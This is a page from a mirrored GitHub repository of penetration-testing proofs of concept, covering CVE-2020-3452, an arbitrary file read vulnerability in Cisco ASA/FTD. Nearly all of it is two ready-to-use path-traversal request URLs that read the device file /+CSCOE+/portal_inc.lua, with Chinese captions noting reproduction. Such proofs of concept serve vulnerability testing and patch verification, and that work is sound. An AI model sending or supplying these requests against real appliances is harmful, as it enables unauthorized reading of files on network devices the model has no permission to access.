admin/Penetration_Testing_POC
1
0
Fork 0
mirror of https://github.com/Mr-xn/Penetration_Testing_POC.git synced 2025-07-29 14:04:25 +00:00
Code Issues Packages Projects Releases Wiki Activity
Penetration_Testing_POC/CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞.md

485 B
Raw Blame History

CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞

POC1️⃣

For example to read "/+CSCOE+/portal_inc.lua" file. https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

漏洞复现情况如下:

POC2️⃣

https://<domain>/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

漏洞复现情况如下：